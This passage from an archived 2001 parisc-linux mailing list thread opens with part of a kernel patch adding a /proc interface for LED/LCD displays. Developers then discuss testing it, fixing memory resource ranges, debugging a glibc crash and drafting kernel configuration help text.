 static void led_get_net_stats(int addvalue)
@@ -244,7 +375,6 @@
 	rx_total_last += rx_total;
         tx_total_last += tx_total;
 }
-#endif /* NO_LAN_RXTX */
 
 
 /*
@@ -255,7 +385,6 @@
    ** (analog to linux/fs/proc/proc_misc.c)
    **   
  */
-#ifndef NO_DISKIO
 static unsigned long led_diskio_counter;
 
 static void led_get_diskio_stats(int addvalue)
@@ -280,7 +409,6 @@
 	
 	diskio_total_last += total; 
 }
-#endif /* NO_DISKIO */
 
 
 
@@ -315,49 +443,52 @@
 	if (++count_HZ == HZ)
 	    count_HZ = 0;
 
-#ifndef NO_HEARTBEAT
-	/* flash heartbeat-LED like a real heart (2 x short then a long delay) */
-	if (count_HZ<HEARTBEAT_LEN || 
-	    (count_HZ>=HEARTBEAT_2ND_RANGE_START && count_HZ<HEARTBEAT_2ND_RANGE_END)) 
-	    currentleds |= LED_HEARTBEAT;
-	else
-	    currentleds &= ~LED_HEARTBEAT;
-#endif
+	if (led_heartbeat)
+	{
+		/* flash heartbeat-LED like a real heart (2 x short then a long delay) */
+		if (count_HZ<HEARTBEAT_LEN || 
+		    (count_HZ>=HEARTBEAT_2ND_RANGE_START && count_HZ<HEARTBEAT_2ND_RANGE_END)) 
+		    currentleds |= LED_HEARTBEAT;
+		else
+		    currentleds &= ~LED_HEARTBEAT;
+	}
 
 	/* gather network and diskio statistics and flash LEDs respectively */
 
-#ifndef NO_LAN_RXTX
-	if ((count & 31) == 0)
-	    led_get_net_stats(30);
-
-	if (led_net_rx_counter) {
-	    led_net_rx_counter--;
-	    currentleds |= LED_LAN_RCV;
-	}
-	else    
-	    currentleds &= ~LED_LAN_RCV;
-
-	if (led_net_tx_counter) {
-	    led_net_tx_counter--;
-	    currentleds |= LED_LAN_TX;
+	if (led_lanrxtx)
+	{
+		if ((count & 31) == 0)
+			led_get_net_stats(30);
+
+		if (led_net_rx_counter) {
+			led_net_rx_counter--;
+			currentleds |= LED_LAN_RCV;
+		}
+		else    
+			currentleds &= ~LED_LAN_RCV;
+
+		if (led_net_tx_counter) {
+			led_net_tx_counter--;
+			currentleds |= LED_LAN_TX;
+		}
+		else    
+			currentleds &= ~LED_LAN_TX;
+	}
+
+	if (led_diskio)
+	{
+		/* avoid to calculate diskio-stats at same irq as netio-stats ! */
+		if ((count & 31) == 15) 
+			led_get_diskio_stats(30);
+
+		if (led_diskio_counter) {
+			led_diskio_counter--;
+			currentleds |= LED_DISK_IO;
+		}
+		else    
+			currentleds &= ~LED_DISK_IO;
 	}
-	else    
-	    currentleds &= ~LED_LAN_TX;
-#endif
 
-#ifndef NO_DISKIO
-	/* avoid to calculate diskio-stats at same irq as netio-stats ! */
-	if ((count & 31) == 15) 
-	    led_get_diskio_stats(30);
-
-	if (led_diskio_counter) {
-	    led_diskio_counter--;
-	    currentleds |= LED_DISK_IO;
-	}
-	else    
-	    currentleds &= ~LED_DISK_IO;
-#endif
-
 	/* update the LCD/LEDs */
 	if (currentleds != lastleds) {
 	    led_func_ptr(currentleds);
@@ -435,12 +566,14 @@
 			LCD_CMD_REG , LCD_DATA_REG);
 		led_func_ptr = led_LCD_driver;
 		lcd_print( "Linux " UTS_RELEASE );
+		led_type = LED_HASLCD;
 		break;
 
 	case DISPLAY_MODEL_LASI:
 		LED_DATA_REG = data_reg;
 		led_func_ptr = led_LASI_driver;
 		printk(KERN_INFO "LED display at %p registered\n", LED_DATA_REG);
+		led_type = LED_NOLCD;
 		break;
 
 	case DISPLAY_MODEL_OLD_ASP:
@@ -448,6 +581,7 @@
 		led_func_ptr = led_ASP_driver;
 		printk(KERN_INFO "LED (ASP-style) display at %p registered\n", 
 		    LED_DATA_REG);
+		led_type = LED_NOLCD;
 		break;
 
 	default:
@@ -509,6 +643,9 @@
 	if (!led_func_ptr || lcd_info.model != DISPLAY_MODEL_LCD)
 	    return 0;
 	
+	/* copy display string to buffer for procfs */
+	strncpy(lcd_text, str, sizeof(lcd_text)-1);
+	
 	/* temporarily disable the led tasklet */
 	tasklet_disable(&led_tasklet);
 
@@ -619,3 +756,7 @@
 	lcd_info.model = DISPLAY_MODEL_NONE;
 	return 1;
 }
+
+#ifdef CONFIG_PROC_FS
+module_init(led_create_procfs)
+#endif




From - Thu Nov 08 21:19:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] /proc interface for LED/LCD
Date: Sat, 6 Oct 2001 23:49:14 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <20011006214940.D60C648EF@dsl2.external.hp.com>
References: <20011006134250.I17735@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620581 27215 80.91.229.3 (22 Nov 2014 01:43:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:01 +0000 (UTC)
To: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  6 15:49:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id D60C648EF
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Oct 2001 15:49:40 -0600 (MDT)
Original-Received: (qmail 30814 invoked by uid 0); 6 Oct 2001 21:49:38 -0000
Original-Received: from pd9040d77.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.13.119)
  by mail.gmx.net (mp003-rz3) with SMTP; 6 Oct 2001 21:49:38 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <20011006134250.I17735@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12505

On Saturday 06 October 2001 22:42, Randolph Chung wrote:
> hi all,
>
> the attached patch creates a /proc interface for boxes with LED/LCD
> support. For example:
> ......
> I've only tested it on a c3000 (only machine i have with led/lcd
> support). Would appreciate if folks can try it on other machines and let
> me know if it works :)

Hi Randolph,

Nice patch !

I've tested it on my 715/64 (with LEDs) and on the c3k (w/ LCD).
On the 715/64 your patch works as expected, but on my c3k I neither
get anything on the LCD nor the /proc/pdc/lcd file.
I know that this doesn't happen due to your patch because I 
didn't got the LCD to work before applying your patch too.
As far as I debugged it until now the pdc_chassis_info() call in
led_init() now returns -10 (PDC_INVALID_ARG) as result code, so maybe
something other is busted here.
Maybe you have any idea ?
All tests were done with the same 32bit kernel binary on both machines
and with your patch to inventory.c applied. I never tested a 64bit kernel
in case this should be relevant.

Helge




From - Thu Nov 08 21:19:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] /proc interface for LED/LCD
Date: Sat, 6 Oct 2001 15:34:45 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20011006153445.J17735@tausq.org>
References: <20011006134250.I17735@tausq.org> <E15pzKV-0000ZU-00@gandalf.tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620581 27217 80.91.229.3 (22 Nov 2014 01:43:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  6 16:34:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 392F348EF
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Oct 2001 16:34:55 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.4d3e3a24) with ESMTP id vjkzhaaa for parisc-linux@lists.parisc-linux.org; Sat, 6 Oct 2001 15:30:29 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15q01t-0000cS-00; Sat, 06 Oct 2001 15:34:45 -0700
Content-Disposition: inline
In-Reply-To: <E15pzKV-0000ZU-00@gandalf.tausq.org>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12506

> I know that this doesn't happen due to your patch because I 
> didn't got the LCD to work before applying your patch too.
> As far as I debugged it until now the pdc_chassis_info() call in
> led_init() now returns -10 (PDC_INVALID_ARG) as result code, so maybe
> something other is busted here.
> Maybe you have any idea ?

In my other post I mentioned you also need a fix to firmware.c .. did
you pick that up too?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] resources
Date: Sun, 7 Oct 2001 01:30:44 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20011007013044.G3745@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620581 27221 80.91.229.3 (22 Nov 2014 01:43:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:01 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  6 18:30:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B6564843
	for <parisc-linux@parisc-linux.org>; Sat,  6 Oct 2001 18:30:46 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15q1q8-0006vd-00
	for parisc-linux@parisc-linux.org; Sun, 07 Oct 2001 01:30:44 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12507

I just finished fixing up the iomem resources for system ram / rom +
kernel code & data.  I'm not sure the original author set them up right.
Here's the output on a C360:

00000000-3fffffff : System RAM                                                  
  00000000-000009ff : PDC data (Page Zero)                                      
  00100000-00279fff : Kernel code                                               
  0027a000-0035ff4b : Kernel data                                               
f0000000-f00fffff : System ROM                                                  

Is the `System ROM' supposed to be the `PDC Address Space'
mentioned in the PA 2.0 manual on page 3-2?If so, it should
presumably be f0000000-f0ffffff on 32-bit machines, and
f000000000000000-f0ffffffffffffff on 64-bit machines.

The L2k has a slightly bizarre output:

00000000-1ffffffff : System RAM                                                 
  00000000-000009ff : PDC data (Page Zero)                                      
  00100000-0032bfff : Kernel code                                               
  0032c000-0049ed7b : Kernel data                                               

should have two ranges -- 00000000-efffffff and 100000000 to 1ffffffff.
Going to debug that before committing.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] review of Documentation/parisc/unwritten
Date: Sat, 06 Oct 2001 18:44:07 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <200110070044.SAA15021@puffin.external.hp.com>
References: <deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620582 27244 80.91.229.3 (22 Nov 2014 01:43:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  6 18:47:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABF894843
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Oct 2001 18:47:14 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA15021;
	Sat, 6 Oct 2001 18:44:07 -0600
In-Reply-To: Message from Helge Deller <deller@gmx.de> 
   of "Sat, 06 Oct 2001 12:37:19 +0200." <200110061035.EAA13283@puffin.external.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12508

Helge Deller wrote:
> Hi Grant,

Hi Helge!

> The LED/ChassisCodes are already updated by the led_halt() function, called
> by the reboot notifier chain. machine_halt() is called by sys_reboot(), so we
>    need
> to let it be a NOP, or just #define it as NOP.

Ok. NOP it will stay.

> machine_power_on could be deleted AFAIT.

I'll deal with that.

> Does the PA CPU has bugs ? :-)

Unfortunately, a few here and there. I've seen the bug lists
(eg 2.3 vs 2.4 Cuda) but don't understand all the issues.

I posted this mostly to make folks aware.
This is the place to put CPU-bug detection code so work-arounds
in other parts of the code can use known state.

grant




From - Thu Nov 08 21:19:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] resources
Date: Sun, 7 Oct 2001 02:13:04 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20011007021304.H3745@parcelfarce.linux.theplanet.co.uk>
References: <20011007013044.G3745@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620582 27247 80.91.229.3 (22 Nov 2014 01:43:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:02 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  6 19:13:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 934784A9F
	for <parisc-linux@parisc-linux.org>; Sat,  6 Oct 2001 19:13:05 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15q2V6-0007M9-00; Sun, 07 Oct 2001 02:13:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011007013044.G3745@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Sun, Oct 07, 2001 at 01:30:44AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12509

On Sun, Oct 07, 2001 at 01:30:44AM +0100, Matthew Wilcox wrote:
> 00000000-1ffffffff : System RAM
>   00000000-000009ff : PDC data (Page Zero)
>   00100000-0032bfff : Kernel code
>   0032c000-0049ed7b : Kernel data

Fixed it:

# cat /proc/iomem
00000000-efffffff : System RAM
  00000000-000009ff : PDC data (Page Zero)
  00100000-0032bfff : Kernel code
  0032c000-0049ed7b : Kernel data
f0000000-f00fffff : System ROM
100000000-1ffffffff : System RAM

I'll commit the diff shortly.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc 2.2.4-2 Woes...
Date: Sat, 6 Oct 2001 21:47:06 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20011006214706.D3218@tausq.org>
References: <20011006135558.B8206@megatonmonkey.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620582 27251 80.91.229.3 (22 Nov 2014 01:43:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:02 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  6 22:47:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4407C4843
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Oct 2001 22:47:21 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.4d3e3a24) with ESMTP id uhmzhaaa for parisc-linux@lists.parisc-linux.org; Sat, 6 Oct 2001 21:42:50 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15q5qE-0000yd-00; Sat, 06 Oct 2001 21:47:06 -0700
Content-Disposition: inline
In-Reply-To: <20011006135558.B8206@megatonmonkey.net>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12510

> The assertion fails.
> The address in r21/r25 is 0x15b78, which is clearly not a valid
> address, and thus dl's printf barfs.

I got the new gcc to build (3.0.2 cvs 20010922) and tried glibc again... it dies
similarly while trying to run ld.so ...

Program received signal SIGSEGV, Segmentation fault.
_dl_debug_vdprintf (fd=0, tag_p=0, 
    fmt=0x17cdc <Address 0x17cdc out of bounds>, arg=0xbff005d8)
    at dl-misc.c:101
101       while (*fmt != '\0')
(gdb) bt
#0  _dl_debug_vdprintf (fd=0, tag_p=0, 
    fmt=0x17cdc <Address 0x17cdc out of bounds>, arg=0xbff005d8)
    at dl-misc.c:101
#1  0x4100eb68 in _dl_dprintf (fd=2, 
    fmt=0x17cdc <Address 0x17cdc out of bounds>) at dl-misc.c:279
#2  0x41012b6c in __assert_fail (
    assertion=0x15bac <Address 0x15bac out of bounds>, file=0x0, line=62, 
    function=0xbff005d8 "") at dl-minimal.c:190
#3  0x410031d4 in _dl_start (arg=0xbff00224) at rtld.c:62
#4  0x41002af8 in _dl_start_user () at rtld.c:143

I'll try to debug it some more tomorrow.

BenC (debian's glibc maintainer) also claims that the hppa patch in
glibc breaks linuxthreads (runtime) on other architectures. Does anyone 
know anything about this?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] /proc interface for LED/LCD
Date: Sun, 7 Oct 2001 08:56:38 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20011007065656.647FB4843@dsl2.external.hp.com>
References: <20011006134250.I17735@tausq.org> <E15pzKV-0000ZU-00@gandalf.tausq.org> <20011006153445.J17735@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620583 27262 80.91.229.3 (22 Nov 2014 01:43:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct  7 00:56:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 647FB4843
	for <parisc-linux@lists.parisc-linux.org>; Sun,  7 Oct 2001 00:56:56 -0600 (MDT)
Original-Received: (qmail 5799 invoked by uid 0); 7 Oct 2001 06:56:54 -0000
Original-Received: from pd9040d3d.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.13.61)
  by mail.gmx.net (mp010-rz3) with SMTP; 7 Oct 2001 06:56:54 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <20011006153445.J17735@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12511

On Sunday 07 October 2001 00:34, Randolph Chung wrote:
> > I know that this doesn't happen due to your patch because I
> > didn't got the LCD to work before applying your patch too.
> > As far as I debugged it until now the pdc_chassis_info() call in
> > led_init() now returns -10 (PDC_INVALID_ARG) as result code, so maybe
> > something other is busted here.
> > Maybe you have any idea ?
>
> In my other post I mentioned you also need a fix to firmware.c .. did
> you pick that up too?
>
> randolph

Yes, I did. Unfortunately I mentioned inventory.c, but originally meant 
firmware.c in my previous mail.

Helge




From - Thu Nov 08 21:19:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Second Draft of the help for the kernel options
Date: Mon, 8 Oct 2001 00:31:47 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <20011008003147.A6105@parcelfarce.linux.theplanet.co.uk>
References: <3BB8F957.C9811C25@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620583 27267 80.91.229.3 (22 Nov 2014 01:43:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:03 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct  7 17:31:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BF03482D
	for <parisc-linux@parisc-linux.org>; Sun,  7 Oct 2001 17:31:48 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15qNOd-0007DS-00; Mon, 08 Oct 2001 00:31:47 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BB8F957.C9811C25@esiee.fr>; from marteaut@esiee.fr on Tue, Oct 02, 2001 at 01:16:39AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12512

On Tue, Oct 02, 2001 at 01:16:39AM +0200, Thomas Marteau wrote:
> Processor family
> CONFIG_PA7100
>   In this section, you will find enough informations to set correctly 
>   your CPU type option. Nevertheless, if you need more, you can see 
>   all the hardware content of your box at http://hwdb.parisc-linux.org.
>   
>   If you select the PA7000/PA7100 option, your box must be one of these 
>   listed below: 705/35, 710/50, 715/33, 715/50, 715/75, 720/50, 725/50, 
>   725/75, 730/66, 735/99, 735/125, 750/66, 755/99.
> 
>   If you select the PA7200 option, your box must be one of these listed 
>   below: C100, C110, D250, D350, D260, D360, J200, J210, K100, K200, 
>   K210, K220, K400, K410, K420.
> 
>   If you choose the PA7100LC/PA7300LC option then your box is 715/64, 
>   715/80, 715/100, 725/100, A180, B132L(+), B160L(+), B180L(+), C160L, 
>   C180L, D200, D210, D220, D230, D300, D310, D320 or D330. There are 
>   also some systems from the E series but there are not yet supported.
> 
>   Finally, PA8x00 is the good choice for all new stuff like A500, B1000,
>   B2000, B2600, C200+, C240+, C3000, C3600, J282, J2240, J5000, J6000, 
>   J6700, J7000, K250, K260, K270, K370, K450, K460, K470, K570, L1000, 
>   L2000, L3000, N4000, V2200, V2250, V2500.
> 
>   Now, you should be sure of which CPU type. If not, please send a mail 
>   to parisc-linux@lists.parisc-linux.org.

Let's try this in the style of the x86 one:

Processor family
CONFIG_PA7100
  This is the processor type of your CPU. This information is used for
  optimizing purposes. In order to compile a kernel that can run on
  all 32-bit PA-RISC processors, you can specify PA7000 here.  If you
  have a 64-bit machine, you may need to select PA8x00 here and say
  'y' to '64-bit kernel' below.

  The kernel will not necessarily run on earlier architectures than
  the one you have chosen, e.g. a PA7200 optimised kernel will run on
  a PA8000 cpu, but not a PA7000.

  If you don't know what type of CPU you have, you can refer to the
  Hardware Database at http://hwdb.parisc-linux.org/

> 64-bit kernel
> CONFIG_PARISC64
>   The 64-bit kernel support give the capability of using 64-bit CPU to 
>   the kernel. This is useful for PA8X00 series minimum. Note that even
>   if your kernel is 64-bit, your userspace will be in 32-bit.

64-bit kernel
CONFIG_PARISC64
  Selecting this option will build a 64-bit kernel.  Some 64-bit machines
  require a 64-bit kernel (eg L2000, A500) while other machines don't
  have 64-bit firmware (eg C360, J200), so you may need to enable 32-bit
  PDC below if you select this option.  Note that 64-bit userspace is
  not yet supported.

32-bit PDC
CONFIG_PDC_NARROW
  Turning this option on enables support for 32-bit firmware when running
  a 64-bit kernel.  You should select this option if you have a machine
  from the C160-J2240 era.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Second Draft of the help for the kernel options
Date: Sun, 07 Oct 2001 21:48:47 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <200110080348.VAA24289@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620583 27270 80.91.229.3 (22 Nov 2014 01:43:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:03 +0000 (UTC)
Cc: Thomas Marteau <marteaut@esiee.fr>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct  7 21:52:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 352A74844
	for <parisc-linux@parisc-linux.org>; Sun,  7 Oct 2001 21:52:41 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id VAA24289;
	Sun, 7 Oct 2001 21:48:47 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Mon, 08 Oct 2001 00:31:47 BST." <20011008003147.A6105@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:12513

Matthew Wilcox wrote:
> 32-bit PDC
> CONFIG_PDC_NARROW
>   Turning this option on enables support for 32-bit firmware when running
>   a 64-bit kernel.  You should select this option if you have a machine
>   from the C160-J2240 era.

s/machine/workstation/
I'm pretty sure all 64-bit capable servers properly handle
PDC calls in wide mode. PAT PDC supports a few calls in
narrow mode (for boot loader) but the rest must be in wide mode.

Note that IODC generally requires narrow mode.
(Superdome IODC is different - but I don't recall exactly how).

BTW, I prefer Matthew's rewrite over the Thomas' proposal.
No offense intended thomas - thanks for submitting the original.

grant




From - Thu Nov 08 21:19:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A todo entry
Date: Mon, 08 Oct 2001 04:15:34 -0400
Lines: 62
Approved: news@gmane.org
Message-ID: <200110080815.EAA24881@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
